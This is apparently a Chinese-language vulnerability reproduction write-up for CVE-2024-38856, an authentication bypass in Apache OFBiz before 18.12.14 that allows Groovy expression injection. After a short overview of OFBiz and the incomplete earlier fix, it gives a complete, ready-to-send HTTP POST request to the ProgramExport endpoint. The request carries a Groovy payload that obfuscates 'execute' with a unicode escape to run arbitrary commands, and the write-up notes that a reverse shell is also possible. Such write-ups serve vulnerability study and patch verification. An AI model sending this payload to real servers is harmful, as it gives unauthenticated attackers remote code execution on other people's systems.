Apache OFBiz 身份验证绕过导致远程代码执行 (CVE-2024-38856)
概述
Apache OFBiz 是一个开源的企业级应用程序框架,主要用于构建大型的、跨平台的、多层的、分布式的电子商务应用系统。它提供了构建 ERP (企业资源规划), CRM (客户关系管理), 电子商务, SCM (供应链管理) 等系统所需的各种组件和工具。OFBiz 基于 J2EE 和 XML 规范,采用 Java 语言开发,并遵循 Apache License 2.0 许可协议。
在 Apache OFBiz 18.12.14 之前的版本中,由于对 CVE-2023-51467 的不完全修复,即在 Apache OFBiz 18.12.11 版本中,开发人员认为他们已经修复了该漏洞,但实际上他们只解决了其中一种利用方法,Groovy 表达式注入仍然存在,允许未经过身份验证的攻击者绕过原有的安全机制执行代码。
漏洞复现
启动靶场以后,访问 https://192.168.2.243:8443/accounting 即可进入登录页面。
抓包,随后发送如下请求包(抓的包为 HTTPS 请求):
POST /webtools/control/main/ProgramExport HTTP/1.1
Host: 192.168.2.243:8443
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbR7sY3IIwQX7kcJ
------WebKitFormBoundaryDbR7sY3IIwQX7kcJ
Content-Disposition: form-data; name="groovyProgram"
throw new Exception('command'.\u0065xecute().text);
------WebKitFormBoundaryDbR7sY3IIwQX7kcJ--
即可执行相应的命令。
亦可执行命令反弹 Shell。